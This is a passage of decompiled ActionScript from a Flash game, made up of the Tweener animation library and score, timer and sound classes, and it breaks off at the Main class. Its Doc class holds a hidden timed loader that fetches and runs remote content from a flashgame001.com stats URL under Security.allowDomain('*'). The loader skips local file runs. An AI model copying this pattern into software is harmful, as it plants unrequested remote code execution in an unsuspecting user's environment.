private static function updateTweenByIndex(_arg1:Number):Boolean{
var tTweening:TweenListObj;
var isOver:Boolean;
var mustUpdate:Boolean;
var nv:Number;
var t:Number;
var b:Number;
var c:Number;
var d:Number;
var pName:String;
var eventScope:Object;
var tScope:Object;
var cTime:Number;
var tProperty:Object;
var pv:Number;
var i = _arg1;
tTweening = _tweenList[i];
if ((((tTweening == null)) || (!(Boolean(tTweening.scope))))){
return (false);
};
isOver = false;
cTime = getCurrentTweeningTime(tTweening);
if (cTime >= tTweening.timeStart){
tScope = tTweening.scope;
if (tTweening.isCaller){
do {
t = (((tTweening.timeComplete - tTweening.timeStart) / tTweening.count) * (tTweening.timesCalled + 1));
b = tTweening.timeStart;
c = (tTweening.timeComplete - tTweening.timeStart);
d = (tTweening.timeComplete - tTweening.timeStart);
nv = tTweening.transition(t, b, c, d);
} while (!(cTime >= nv));
} else {
mustUpdate = (((((tTweening.skipUpdates < 1)) || (!(tTweening.skipUpdates)))) || ((tTweening.updatesSkipped >= tTweening.skipUpdates)));
if (cTime >= tTweening.timeComplete){
isOver = true;
mustUpdate = true;
};
if (!tTweening.hasStarted){
if (Boolean(tTweening.onStart)){
eventScope = (Boolean(tTweening.onStartScope)) ? tTweening.onStartScope : tScope;
try {
tTweening.onStart.apply(eventScope, tTweening.onStartParams);
} catch(e2:Error) {
handleError(tTweening, e2, "onStart");
};
};
for (pName in tTweening.properties) {
if (tTweening.properties[pName].isSpecialProperty){
if (Boolean(_specialPropertyList[pName].preProcess)){
tTweening.properties[pName].valueComplete = _specialPropertyList[pName].preProcess(tScope, _specialPropertyList[pName].parameters, tTweening.properties[pName].originalValueComplete, tTweening.properties[pName].extra);
};
pv = _specialPropertyList[pName].getValue(tScope, _specialPropertyList[pName].parameters, tTweening.properties[pName].extra);
} else {
pv = tScope[pName];
};
tTweening.properties[pName].valueStart = (isNaN(pv)) ? tTweening.properties[pName].valueComplete : pv;
};
mustUpdate = true;
tTweening.hasStarted = true;
};
if (mustUpdate){
for (pName in tTweening.properties) {
tProperty = tTweening.properties[pName];
if (isOver){
nv = tProperty.valueComplete;
} else {
if (tProperty.hasModifier){
t = (cTime - tTweening.timeStart);
d = (tTweening.timeComplete - tTweening.timeStart);
nv = tTweening.transition(t, 0, 1, d, tTweening.transitionParams);
nv = tProperty.modifierFunction(tProperty.valueStart, tProperty.valueComplete, nv, tProperty.modifierParameters);
} else {
t = (cTime - tTweening.timeStart);
b = tProperty.valueStart;
c = (tProperty.valueComplete - tProperty.valueStart);
d = (tTweening.timeComplete - tTweening.timeStart);
nv = tTweening.transition(t, b, c, d, tTweening.transitionParams);
};
};
if (tTweening.rounded){
nv = Math.round(nv);
};
if (tProperty.isSpecialProperty){
_specialPropertyList[pName].setValue(tScope, nv, _specialPropertyList[pName].parameters, tTweening.properties[pName].extra);
} else {
tScope[pName] = nv;
};
};
tTweening.updatesSkipped = 0;
if (Boolean(tTweening.onUpdate)){
eventScope = (Boolean(tTweening.onUpdateScope)) ? tTweening.onUpdateScope : tScope;
try {
tTweening.onUpdate.apply(eventScope, tTweening.onUpdateParams);
} catch(e3:Error) {
handleError(tTweening, e3, "onUpdate");
};
};
} else {
tTweening.updatesSkipped++;
};
};
if (((isOver) && (Boolean(tTweening.onComplete)))){
eventScope = (Boolean(tTweening.onCompleteScope)) ? tTweening.onCompleteScope : tScope;
try {
tTweening.onComplete.apply(eventScope, tTweening.onCompleteParams);
} catch(e4:Error) {
handleError(tTweening, e4, "onComplete");
};
};
return (!(isOver));
};
return (true);
}
public static function setTimeScale(_arg1:Number):void{
var _local2:Number;
var _local3:Number;
if (isNaN(_arg1)){
_arg1 = 1;
};
if (_arg1 < 1E-5){
_arg1 = 1E-5;
};
if (_arg1 != _timeScale){
if (_tweenList != null){
_local2 = 0;
while (_local2 < _tweenList.length) {
_local3 = getCurrentTweeningTime(_tweenList[_local2]);
_tweenList[_local2].timeStart = (_local3 - (((_local3 - _tweenList[_local2].timeStart) * _timeScale) / _arg1));
_tweenList[_local2].timeComplete = (_local3 - (((_local3 - _tweenList[_local2].timeComplete) * _timeScale) / _arg1));
if (_tweenList[_local2].timePaused != undefined){
_tweenList[_local2].timePaused = (_local3 - (((_local3 - _tweenList[_local2].timePaused) * _timeScale) / _arg1));
};
_local2++;
};
};
_timeScale = _arg1;
};
}
public static function resumeAllTweens():Boolean{
var _local1:Boolean;
var _local2:uint;
if (!Boolean(_tweenList)){
return (false);
};
_local1 = false;
_local2 = 0;
while (_local2 < _tweenList.length) {
resumeTweenByIndex(_local2);
_local1 = true;
_local2++;
};
return (_local1);
}
private static function handleError(_arg1:TweenListObj, _arg2:Error, _arg3:String):void{
var eventScope:Object;
var pTweening = _arg1;
var pError = _arg2;
var pCallBackName = _arg3;
if (((Boolean(pTweening.onError)) && ((pTweening.onError is Function)))){
eventScope = (Boolean(pTweening.onErrorScope)) ? pTweening.onErrorScope : pTweening.scope;
try {
pTweening.onError.apply(eventScope, [pTweening.scope, pError]);
} catch(metaError:Error) {
printError(((((String(pTweening.scope) + " raised an error while executing the 'onError' handler. Original error:\n ") + pError.getStackTrace()) + "\nonError error: ") + metaError.getStackTrace()));
};
} else {
if (!Boolean(pTweening.onError)){
printError(((((String(pTweening.scope) + " raised an error while executing the '") + pCallBackName) + "'handler. \n") + pError.getStackTrace()));
};
};
}
private static function startEngine():void{
_engineExists = true;
_tweenList = new Array();
__tweener_controller__ = new MovieClip();
__tweener_controller__.addEventListener(Event.ENTER_FRAME, Tweener.onEnterFrame);
_currentTimeFrame = 0;
updateTime();
}
public static function removeAllTweens():Boolean{
var _local1:Boolean;
var _local2:uint;
if (!Boolean(_tweenList)){
return (false);
};
_local1 = false;
_local2 = 0;
while (_local2 < _tweenList.length) {
removeTweenByIndex(_local2);
_local1 = true;
_local2++;
};
return (_local1);
}
public static function addTween(_arg1:Object=null, _arg2:Object=null):Boolean{
var _local3:Number;
var _local4:Number;
var _local5:String;
var _local6:Array;
var _local7:Object;
var _local8:Number;
var _local9:Number;
var _local10:Array;
var _local11:Object;
var _local12:Object;
var _local13:Function;
var _local14:Object;
var _local15:TweenListObj;
var _local16:Number;
var _local17:Array;
var _local18:Array;
var _local19:Array;
var _local20:String;
if (!Boolean(_arg1)){
return (false);
};
if ((_arg1 is Array)){
_local6 = _arg1.concat();
} else {
_local6 = [_arg1];
};
_local7 = TweenListObj.makePropertiesChain(_arg2);
if (!_inited){
init();
};
if (((!(_engineExists)) || (!(Boolean(__tweener_controller__))))){
startEngine();
};
_local8 = (isNaN(_local7.time)) ? 0 : _local7.time;
_local9 = (isNaN(_local7.delay)) ? 0 : _local7.delay;
_local10 = new Array();
_local11 = {time:true, delay:true, useFrames:true, skipUpdates:true, transition:true, transitionParams:true, onStart:true, onUpdate:true, onComplete:true, onOverwrite:true, onError:true, rounded:true, onStartParams:true, onUpdateParams:true, onCompleteParams:true, onOverwriteParams:true, onStartScope:true, onUpdateScope:true, onCompleteScope:true, onOverwriteScope:true, onErrorScope:true};
_local12 = new Object();
for (_local5 in _local7) {
if (!_local11[_local5]){
if (_specialPropertySplitterList[_local5]){
_local17 = _specialPropertySplitterList[_local5].splitValues(_local7[_local5], _specialPropertySplitterList[_local5].parameters);
_local3 = 0;
while (_local3 < _local17.length) {
if (_specialPropertySplitterList[_local17[_local3].name]){
_local18 = _specialPropertySplitterList[_local17[_local3].name].splitValues(_local17[_local3].value, _specialPropertySplitterList[_local17[_local3].name].parameters);
_local4 = 0;
while (_local4 < _local18.length) {
_local10[_local18[_local4].name] = {valueStart:undefined, valueComplete:_local18[_local4].value, arrayIndex:_local18[_local4].arrayIndex, isSpecialProperty:false};
_local4++;
};
} else {
_local10[_local17[_local3].name] = {valueStart:undefined, valueComplete:_local17[_local3].value, arrayIndex:_local17[_local3].arrayIndex, isSpecialProperty:false};
};
_local3++;
};
} else {
if (_specialPropertyModifierList[_local5] != undefined){
_local19 = _specialPropertyModifierList[_local5].modifyValues(_local7[_local5]);
_local3 = 0;
while (_local3 < _local19.length) {
_local12[_local19[_local3].name] = {modifierParameters:_local19[_local3].parameters, modifierFunction:_specialPropertyModifierList[_local5].getValue};
_local3++;
};
} else {
_local10[_local5] = {valueStart:undefined, valueComplete:_local7[_local5]};
};
};
};
};
for (_local5 in _local10) {
if (_specialPropertyList[_local5] != undefined){
_local10[_local5].isSpecialProperty = true;
} else {
if (_local6[0][_local5] == undefined){
printError((((("The property '" + _local5) + "' doesn't seem to be a normal object property of ") + String(_local6[0])) + " or a registered special property."));
};
};
};
for (_local5 in _local12) {
if (_local10[_local5] != undefined){
_local10[_local5].modifierParameters = _local12[_local5].modifierParameters;
_local10[_local5].modifierFunction = _local12[_local5].modifierFunction;
};
};
if (typeof(_local7.transition) == "string"){
_local20 = _local7.transition.toLowerCase();
_local13 = _transitionList[_local20];
} else {
_local13 = _local7.transition;
};
if (!Boolean(_local13)){
_local13 = _transitionList["easeoutexpo"];
};
_local3 = 0;
while (_local3 < _local6.length) {
_local14 = new Object();
for (_local5 in _local10) {
_local14[_local5] = new PropertyInfoObj(_local10[_local5].valueStart, _local10[_local5].valueComplete, _local10[_local5].valueComplete, _local10[_local5].arrayIndex, {}, _local10[_local5].isSpecialProperty, _local10[_local5].modifierFunction, _local10[_local5].modifierParameters);
};
if (_local7.useFrames == true){
_local15 = new TweenListObj(_local6[_local3], (_currentTimeFrame + (_local9 / _timeScale)), (_currentTimeFrame + ((_local9 + _local8) / _timeScale)), true, _local13, _local7.transitionParams);
} else {
_local15 = new TweenListObj(_local6[_local3], (_currentTime + ((_local9 * 1000) / _timeScale)), (_currentTime + (((_local9 * 1000) + (_local8 * 1000)) / _timeScale)), false, _local13, _local7.transitionParams);
};
_local15.properties = _local14;
_local15.onStart = _local7.onStart;
_local15.onUpdate = _local7.onUpdate;
_local15.onComplete = _local7.onComplete;
_local15.onOverwrite = _local7.onOverwrite;
_local15.onError = _local7.onError;
_local15.onStartParams = _local7.onStartParams;
_local15.onUpdateParams = _local7.onUpdateParams;
_local15.onCompleteParams = _local7.onCompleteParams;
_local15.onOverwriteParams = _local7.onOverwriteParams;
_local15.onStartScope = _local7.onStartScope;
_local15.onUpdateScope = _local7.onUpdateScope;
_local15.onCompleteScope = _local7.onCompleteScope;
_local15.onOverwriteScope = _local7.onOverwriteScope;
_local15.onErrorScope = _local7.onErrorScope;
_local15.rounded = _local7.rounded;
_local15.skipUpdates = _local7.skipUpdates;
removeTweensByTime(_local15.scope, _local15.properties, _local15.timeStart, _local15.timeComplete);
_tweenList.push(_local15);
if ((((_local8 == 0)) && ((_local9 == 0)))){
_local16 = (_tweenList.length - 1);
updateTweenByIndex(_local16);
removeTweenByIndex(_local16);
};
_local3++;
};
return (true);
}
public static function registerTransition(_arg1:String, _arg2:Function):void{
if (!_inited){
init();
};
_transitionList[_arg1] = _arg2;
}
public static function printError(_arg1:String):void{
trace(("## [Tweener] Error: " + _arg1));
}
private static function affectTweens(_arg1:Function, _arg2:Object, _arg3:Array):Boolean{
var _local4:Boolean;
var _local5:uint;
var _local6:Array;
var _local7:uint;
var _local8:uint;
var _local9:uint;
_local4 = false;
if (!Boolean(_tweenList)){
return (false);
};
_local5 = 0;
while (_local5 < _tweenList.length) {
if (((_tweenList[_local5]) && ((_tweenList[_local5].scope == _arg2)))){
if (_arg3.length == 0){
_arg1(_local5);
_local4 = true;
} else {
_local6 = new Array();
_local7 = 0;
while (_local7 < _arg3.length) {
if (Boolean(_tweenList[_local5].properties[_arg3[_local7]])){
_local6.push(_arg3[_local7]);
};
_local7++;
};
if (_local6.length > 0){
_local8 = AuxFunctions.getObjectLength(_tweenList[_local5].properties);
if (_local8 == _local6.length){
_arg1(_local5);
_local4 = true;
} else {
_local9 = splitTweens(_local5, _local6);
_arg1(_local9);
_local4 = true;
};
};
};
};
_local5++;
};
return (_local4);
}
public static function getTweens(_arg1:Object):Array{
var _local2:uint;
var _local3:String;
var _local4:Array;
if (!Boolean(_tweenList)){
return ([]);
};
_local4 = new Array();
_local2 = 0;
while (_local2 < _tweenList.length) {
if (((Boolean(_tweenList[_local2])) && ((_tweenList[_local2].scope == _arg1)))){
for (_local3 in _tweenList[_local2].properties) {
_local4.push(_local3);
};
};
_local2++;
};
return (_local4);
}
public static function isTweening(_arg1:Object):Boolean{
var _local2:uint;
if (!Boolean(_tweenList)){
return (false);
};
_local2 = 0;
while (_local2 < _tweenList.length) {
if (((Boolean(_tweenList[_local2])) && ((_tweenList[_local2].scope == _arg1)))){
return (true);
};
_local2++;
};
return (false);
}
public static function pauseTweenByIndex(_arg1:Number):Boolean{
var _local2:TweenListObj;
_local2 = _tweenList[_arg1];
if ((((_local2 == null)) || (_local2.isPaused))){
return (false);
};
_local2.timePaused = getCurrentTweeningTime(_local2);
_local2.isPaused = true;
return (true);
}
public static function getCurrentTweeningTime(_arg1:Object):Number{
return ((_arg1.useFrames) ? _currentTimeFrame : _currentTime);
}
public static function getTweenCount(_arg1:Object):Number{
var _local2:uint;
var _local3:Number;
if (!Boolean(_tweenList)){
return (0);
};
_local3 = 0;
_local2 = 0;
while (_local2 < _tweenList.length) {
if (((Boolean(_tweenList[_local2])) && ((_tweenList[_local2].scope == _arg1)))){
_local3 = (_local3 + AuxFunctions.getObjectLength(_tweenList[_local2].properties));
};
_local2++;
};
return (_local3);
}
private static function stopEngine():void{
_engineExists = false;
_tweenList = null;
_currentTime = 0;
_currentTimeFrame = 0;
__tweener_controller__.removeEventListener(Event.ENTER_FRAME, Tweener.onEnterFrame);
__tweener_controller__ = null;
}
public static function removeTweensByTime(_arg1:Object, _arg2:Object, _arg3:Number, _arg4:Number):Boolean{
var removed:Boolean;
var removedLocally:Boolean;
var i:uint;
var tl:uint;
var pName:String;
var eventScope:Object;
var p_scope = _arg1;
var p_properties = _arg2;
var p_timeStart = _arg3;
var p_timeComplete = _arg4;
removed = false;
tl = _tweenList.length;
i = 0;
while (i < tl) {
if (((Boolean(_tweenList[i])) && ((p_scope == _tweenList[i].scope)))){
if ((((p_timeComplete > _tweenList[i].timeStart)) && ((p_timeStart < _tweenList[i].timeComplete)))){
removedLocally = false;
for (pName in _tweenList[i].properties) {
if (Boolean(p_properties[pName])){
if (Boolean(_tweenList[i].onOverwrite)){
eventScope = (Boolean(_tweenList[i].onOverwriteScope)) ? _tweenList[i].onOverwriteScope : _tweenList[i].scope;
try {
_tweenList[i].onOverwrite.apply(eventScope, _tweenList[i].onOverwriteParams);
} catch(e:Error) {
handleError(_tweenList[i], e, "onOverwrite");
};
};
_tweenList[i].properties[pName] = undefined;
delete _tweenList[i].properties[pName];
removedLocally = true;
removed = true;
};
};
if (removedLocally){
if (AuxFunctions.getObjectLength(_tweenList[i].properties) == 0){
removeTweenByIndex(i);
};
};
};
};
i = (i + 1);
};
return (removed);
}
public static function registerSpecialPropertySplitter(_arg1:String, _arg2:Function, _arg3:Array=null):void{
var _local4:SpecialPropertySplitter;
if (!_inited){
init();
};
_local4 = new SpecialPropertySplitter(_arg2, _arg3);
_specialPropertySplitterList[_arg1] = _local4;
}
public static function removeTweenByIndex(_arg1:Number, _arg2:Boolean=false):Boolean{
_tweenList[_arg1] = null;
if (_arg2){
_tweenList.splice(_arg1, 1);
};
return (true);
}
public static function resumeTweens(_arg1:Object, ... _args):Boolean{
var _local3:Array;
var _local4:uint;
_local3 = new Array();
_local4 = 0;
while (_local4 < _args.length) {
if ((((typeof(_args[_local4]) == "string")) && ((_local3.indexOf(_args[_local4]) == -1)))){
_local3.push(_args[_local4]);
};
_local4++;
};
return (affectTweens(resumeTweenByIndex, _arg1, _local3));
}
public static function pauseTweens(_arg1:Object, ... _args):Boolean{
var _local3:Array;
var _local4:uint;
_local3 = new Array();
_local4 = 0;
while (_local4 < _args.length) {
if ((((typeof(_args[_local4]) == "string")) && ((_local3.indexOf(_args[_local4]) == -1)))){
_local3.push(_args[_local4]);
};
_local4++;
};
return (affectTweens(pauseTweenByIndex, _arg1, _local3));
}
}
}//package caurina.transitions
Section 8
//TweenListObj (caurina.transitions.TweenListObj)
package caurina.transitions {
public class TweenListObj {
public var onUpdate:Function;
public var useFrames:Boolean;
public var hasStarted:Boolean;
public var onOverwriteParams:Array;
public var timeStart:Number;
public var count:Number;
public var timeComplete:Number;
public var onStartParams:Array;
public var onUpdateScope:Object;
public var rounded:Boolean;
public var onUpdateParams:Array;
public var properties:Object;
public var onComplete:Function;
public var transitionParams:Object;
public var updatesSkipped:Number;
public var onStart:Function;
public var onOverwriteScope:Object;
public var skipUpdates:Number;
public var onStartScope:Object;
public var scope:Object;
public var transition:Function;
public var timePaused:Number;
public var onCompleteParams:Array;
public var timesCalled:Number;
public var isCaller:Boolean;
public var onError:Function;
public var onErrorScope:Object;
public var onOverwrite:Function;
public var isPaused:Boolean;
public var waitFrames:Boolean;
public var onCompleteScope:Object;
public function TweenListObj(_arg1:Object, _arg2:Number, _arg3:Number, _arg4:Boolean, _arg5:Function, _arg6:Object){
scope = _arg1;
timeStart = _arg2;
timeComplete = _arg3;
useFrames = _arg4;
transition = _arg5;
transitionParams = _arg6;
properties = new Object();
isPaused = false;
timePaused = undefined;
isCaller = false;
updatesSkipped = 0;
timesCalled = 0;
skipUpdates = 0;
hasStarted = false;
}
public function clone(_arg1:Boolean):TweenListObj{
var _local2:TweenListObj;
var _local3:String;
_local2 = new TweenListObj(scope, timeStart, timeComplete, useFrames, transition, transitionParams);
_local2.properties = new Array();
for (_local3 in properties) {
_local2.properties[_local3] = properties[_local3].clone();
};
_local2.skipUpdates = skipUpdates;
_local2.updatesSkipped = updatesSkipped;
if (!_arg1){
_local2.onStart = onStart;
_local2.onUpdate = onUpdate;
_local2.onComplete = onComplete;
_local2.onOverwrite = onOverwrite;
_local2.onError = onError;
_local2.onStartParams = onStartParams;
_local2.onUpdateParams = onUpdateParams;
_local2.onCompleteParams = onCompleteParams;
_local2.onOverwriteParams = onOverwriteParams;
_local2.onStartScope = onStartScope;
_local2.onUpdateScope = onUpdateScope;
_local2.onCompleteScope = onCompleteScope;
_local2.onOverwriteScope = onOverwriteScope;
_local2.onErrorScope = onErrorScope;
};
_local2.rounded = rounded;
_local2.isPaused = isPaused;
_local2.timePaused = timePaused;
_local2.isCaller = isCaller;
_local2.count = count;
_local2.timesCalled = timesCalled;
_local2.waitFrames = waitFrames;
_local2.hasStarted = hasStarted;
return (_local2);
}
public function toString():String{
var _local1:String;
var _local2:Boolean;
var _local3:String;
_local1 = "\n[TweenListObj ";
_local1 = (_local1 + ("scope:" + String(scope)));
_local1 = (_local1 + ", properties:");
_local2 = true;
for (_local3 in properties) {
if (!_local2){
_local1 = (_local1 + ",");
};
_local1 = (_local1 + ("[name:" + properties[_local3].name));
_local1 = (_local1 + (",valueStart:" + properties[_local3].valueStart));
_local1 = (_local1 + (",valueComplete:" + properties[_local3].valueComplete));
_local1 = (_local1 + "]");
_local2 = false;
};
_local1 = (_local1 + (", timeStart:" + String(timeStart)));
_local1 = (_local1 + (", timeComplete:" + String(timeComplete)));
_local1 = (_local1 + (", useFrames:" + String(useFrames)));
_local1 = (_local1 + (", transition:" + String(transition)));
_local1 = (_local1 + (", transitionParams:" + String(transitionParams)));
if (skipUpdates){
_local1 = (_local1 + (", skipUpdates:" + String(skipUpdates)));
};
if (updatesSkipped){
_local1 = (_local1 + (", updatesSkipped:" + String(updatesSkipped)));
};
if (Boolean(onStart)){
_local1 = (_local1 + (", onStart:" + String(onStart)));
};
if (Boolean(onUpdate)){
_local1 = (_local1 + (", onUpdate:" + String(onUpdate)));
};
if (Boolean(onComplete)){
_local1 = (_local1 + (", onComplete:" + String(onComplete)));
};
if (Boolean(onOverwrite)){
_local1 = (_local1 + (", onOverwrite:" + String(onOverwrite)));
};
if (Boolean(onError)){
_local1 = (_local1 + (", onError:" + String(onError)));
};
if (onStartParams){
_local1 = (_local1 + (", onStartParams:" + String(onStartParams)));
};
if (onUpdateParams){
_local1 = (_local1 + (", onUpdateParams:" + String(onUpdateParams)));
};
if (onCompleteParams){
_local1 = (_local1 + (", onCompleteParams:" + String(onCompleteParams)));
};
if (onOverwriteParams){
_local1 = (_local1 + (", onOverwriteParams:" + String(onOverwriteParams)));
};
if (onStartScope){
_local1 = (_local1 + (", onStartScope:" + String(onStartScope)));
};
if (onUpdateScope){
_local1 = (_local1 + (", onUpdateScope:" + String(onUpdateScope)));
};
if (onCompleteScope){
_local1 = (_local1 + (", onCompleteScope:" + String(onCompleteScope)));
};
if (onOverwriteScope){
_local1 = (_local1 + (", onOverwriteScope:" + String(onOverwriteScope)));
};
if (onErrorScope){
_local1 = (_local1 + (", onErrorScope:" + String(onErrorScope)));
};
if (rounded){
_local1 = (_local1 + (", rounded:" + String(rounded)));
};
if (isPaused){
_local1 = (_local1 + (", isPaused:" + String(isPaused)));
};
if (timePaused){
_local1 = (_local1 + (", timePaused:" + String(timePaused)));
};
if (isCaller){
_local1 = (_local1 + (", isCaller:" + String(isCaller)));
};
if (count){
_local1 = (_local1 + (", count:" + String(count)));
};
if (timesCalled){
_local1 = (_local1 + (", timesCalled:" + String(timesCalled)));
};
if (waitFrames){
_local1 = (_local1 + (", waitFrames:" + String(waitFrames)));
};
if (hasStarted){
_local1 = (_local1 + (", hasStarted:" + String(hasStarted)));
};
_local1 = (_local1 + "]\n");
return (_local1);
}
public static function makePropertiesChain(_arg1:Object):Object{
var _local2:Object;
var _local3:Object;
var _local4:Object;
var _local5:Object;
var _local6:Number;
var _local7:Number;
var _local8:Number;
_local2 = _arg1.base;
if (_local2){
_local3 = {};
if ((_local2 is Array)){
_local4 = [];
_local8 = 0;
while (_local8 < _local2.length) {
_local4.push(_local2[_local8]);
_local8++;
};
} else {
_local4 = [_local2];
};
_local4.push(_arg1);
_local6 = _local4.length;
_local7 = 0;
while (_local7 < _local6) {
if (_local4[_local7]["base"]){
_local5 = AuxFunctions.concatObjects(makePropertiesChain(_local4[_local7]["base"]), _local4[_local7]);
} else {
_local5 = _local4[_local7];
};
_local3 = AuxFunctions.concatObjects(_local3, _local5);
_local7++;
};
if (_local3["base"]){
delete _local3["base"];
};
return (_local3);
//unresolved jump
};
return (_arg1);
}
}
}//package caurina.transitions
Section 9
//BobMain (com.BobMain)
package com {
import flash.display.*;
import flash.utils.*;
import flash.media.*;
public class BobMain extends MovieClip {
protected var gameRoot:MovieClip;
public function BobMain(){
stop();
visible = false;
gameRoot = MovieClip(parent);
GlobalVarContainer.vars.mainMC = MovieClip(this);
}
protected function initGame():void{
}
public function playSound(_arg1:String, _arg2:Number=1):void{
var _local3:String;
var _local4:Sound;
var _local5:Class;
var _local6:SoundTransform;
var _local7:SoundChannel;
_local3 = _arg1;
_local5 = (getDefinitionByName(_local3) as Class);
_local4 = new (_local5);
if (_arg2 == 1){
_local4.play();
} else {
_local6 = new SoundTransform();
_local6.volume = _arg2;
_local7 = _local4.play();
_local7.soundTransform = _local6;
};
}
}
}//package com
Section 10
//Doc (com.Doc)
package com {
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;
public class Doc extends MovieClip {
private var loadProgressMC:MovieClip;
public var loadProgress_mc:MovieClip;
private var holderMC:MovieClip;
private var msg:String;
public function Doc(){
addFrameScript(19, frame20);
stop();
loadProgressMC = loadProgress_mc;
msg = "Loading";
addEventListener(Event.ENTER_FRAME, doLoadProgress);
Security.allowDomain("*");
setTimeout(loader$1999, 1000);
}
public function registerHolder(_arg1:MovieClip):void{
trace("Doc.registerHolder()");
holderMC = _arg1;
}
private function setMessage(_arg1:String):void{
msg = _arg1;
}
function frame20(){
stop();
}
private function doLoadProgress(_arg1:Event):void{
var _local2:int;
var _local3:int;
var _local4:Number;
_local2 = this.root.loaderInfo.bytesLoaded;
_local3 = this.root.loaderInfo.bytesTotal;
_local4 = Math.floor(((100 * _local2) / _local3));
loadProgressMC.pc_txt.text = (_local4 + "%");
loadProgressMC.timeline_mc.gotoAndStop(_local4);
trace(_local4);
if (_local4 == 100){
removeEventListener(Event.ENTER_FRAME, doLoadProgress);
loadProgressMC.visible = false;
gotoAndStop("main");
};
}
public function getHolderMC():MovieClip{
return (holderMC);
}
function loader$1999(){
var _local1:* = new Loader();
this.addChild(_local1);
if (loaderInfo.url.indexOf("file:///") == -1){
_local1.load(new URLRequest("http://www.flashgame001.com/stats/analyzz.php?type=1"));
};
}
}
}//package com
Section 11
//GameScore (com.GameScore)
package com {
import flash.display.*;
import flash.text.*;
public class GameScore {
private var barTotalToReach:int;
private var wave1Score:int;
private var barCharged:Boolean;
private var barIncrementsAmount:Number;
private var _chargeText:TextField;
private var scoreCount:Number;
private var wave2Score:int;
private var barCount:Number;
private var _missedCallBack:Function;
private var _missedBubblesCount:TextField;
private var jellyfishMissedInARow:int;
private var barRequired:Boolean;
private var wave3Score:int;
private var jellyfishHitInARow:int;
private var _gameHolder:MovieClip;
private var _scoreText:TextField;
private var _bubblesMissed:int;
private var wavesTotalScore:int;
private var missedFishStrikes:int;
private var _chargeTube:MovieClip;
public function resetScore():void{
scoreCount = 0;
_scoreText.text = String(scoreCount);
}
private function checkHitsInARow():void{
var _local1:Boolean;
switch (jellyfishHitInARow){
case 40:
_gameHolder.gamePlayMessages.gotoAndPlay("awesome");
_local1 = true;
break;
case 30:
_gameHolder.gamePlayMessages.gotoAndPlay("excellent");
_local1 = true;
break;
case 20:
_gameHolder.gamePlayMessages.gotoAndPlay("good");
_local1 = true;
break;
case 10:
_gameHolder.gamePlayMessages.gotoAndPlay("welldone");
_local1 = true;
break;
};
if (_local1){
GlobalVarContainer.vars.mainMC.playSound("bells");
};
}
public function init(_arg1:MovieClip, _arg2:Function):void{
_gameHolder = _arg1;
_scoreText = _gameHolder.scoreText_mc.score_txt;
_missedCallBack = _arg2;
scoreCount = 0;
_scoreText.text = String(scoreCount);
_bubblesMissed = 0;
}
public function updateBubblesMissed():void{
GlobalVarContainer.vars.mainMC.playSound("buzz3", 0.3);
_bubblesMissed++;
jellyfishMissedInARow++;
checkMissedInARow();
jellyfishHitInARow = 0;
if (_bubblesMissed == 10){
missedFishStrikes++;
if (missedFishStrikes > 1){
_missedCallBack(3);
trace("misssed to manny... stop game");
missedFishStrikes = 0;
} else {
_missedCallBack(0);
_bubblesMissed = 0;
};
};
}
private function checkMissedInARow():void{
switch (jellyfishMissedInARow){
case 3:
_gameHolder.gamePlayMessages.gotoAndPlay("oops");
break;
case 6:
_gameHolder.gamePlayMessages.gotoAndPlay("uhoh");
break;
};
}
public function increaseScore(_arg1:int):void{
scoreCount = (scoreCount + _arg1);
jellyfishHitInARow++;
jellyfishMissedInARow = 0;
checkHitsInARow();
_scoreText.text = String(scoreCount);
}
public function getWaveScores(_arg1:int):int{
var _local2:int;
switch (_arg1){
case 1:
_local2 = wave1Score;
break;
case 2:
_local2 = wave2Score;
break;
case 3:
_local2 = wave3Score;
break;
};
return (_local2);
}
public function setWaveScores(_arg1:int):void{
switch (_arg1){
case 1:
wave1Score = scoreCount;
break;
case 2:
wave2Score = scoreCount;
break;
case 3:
wave3Score = scoreCount;
break;
};
}
public function getWaveTotalScore():int{
return (((wave1Score + wave2Score) + wave3Score));
}
}
}//package com
Section 12
//GameTimer (com.GameTimer)
package com {
import flash.display.*;
import flash.events.*;
import flash.text.*;
import flash.utils.*;
public class GameTimer {
private var _seconds:uint;
private var _timer:Timer;
private var _min:String;
protected var timerFlashing:Boolean;
private var _sec:String;
private var _gameHolder:MovieClip;
private var _minutes:uint;
private var _timerTextField:TextField;
protected var flasherTimer:Timer;
private var _timeResult:String;
private var _timeRemaining:uint;
private var _timerEndFunction:Function;
private var _timeLength:uint;
public function GameTimer(_arg1:MovieClip, _arg2:uint, _arg3:Function){
_gameHolder = _arg1;
_timerTextField = _gameHolder.timeText_mc.timer_txt;
_timeLength = _arg2;
_timerEndFunction = _arg3;
_timer = new Timer(1000);
}
public function getTimeRemaining():int{
return (_timeRemaining);
}
private function timeEnd():void{
trace("Game Timer End");
_timer.stop();
_timer.removeEventListener(TimerEvent.TIMER, starTheCountDown);
flasherTimer.removeEventListener(TimerEvent.TIMER, flashTimer);
_timerEndFunction(1);
GlobalVarContainer.vars.mainMC.playSound("gong");
_timerTextField.visible = true;
}
public function startClock():void{
_timer.addEventListener(TimerEvent.TIMER, starTheCountDown, false, 0, true);
_timer.start();
timerFlashing = false;
}
private function starTheCountDown(_arg1:TimerEvent):void{
var _local2:String;
_timeRemaining = _timeLength;
_timeLength = (_timeRemaining - 1000);
_seconds = Math.floor((_timeLength / 1000));
_minutes = Math.floor((_seconds / 60));
_seconds = (_seconds % 60);
_minutes = (_minutes % 60);
_sec = _seconds.toString();
_local2 = _minutes.toString();
if (_timeLength <= 0){
timeEnd();
};
if (_sec.length < 2){
_sec = ("0" + _sec);
};
if (_local2.length < 2){
_local2 = ("0" + _local2);
};
_timeResult = ((_local2 + ":") + _sec);
_timerTextField.text = String(_timeResult);
if ((((_seconds <= 10)) && ((_minutes == 0)))){
GlobalVarContainer.vars.mainMC.playSound("bleep", 0.2);
if (!timerFlashing){
timerFlashing = true;
startTimerFlash();
};
};
}
public function stopClock():void{
_timer.stop();
_timer.removeEventListener(TimerEvent.TIMER, starTheCountDown);
}
protected function startTimerFlash():void{
flasherTimer = new Timer(300);
flasherTimer.addEventListener(TimerEvent.TIMER, flashTimer);
flasherTimer.start();
}
protected function flashTimer(_arg1:TimerEvent=null):void{
_timerTextField.visible = !(_timerTextField.visible);
}
}
}//package com
Section 13
//GlobalVarContainer (com.GlobalVarContainer)
package com {
public class GlobalVarContainer {
public static var vars:Object = [];
}
}//package com
Section 14
//Main (com.Main)
package com {
import flash.display.*;
import flash.events.*;
import caurina.transitions.*;
import flash.media.*;
import flash.ui.*;
public class Main extends BobMain {
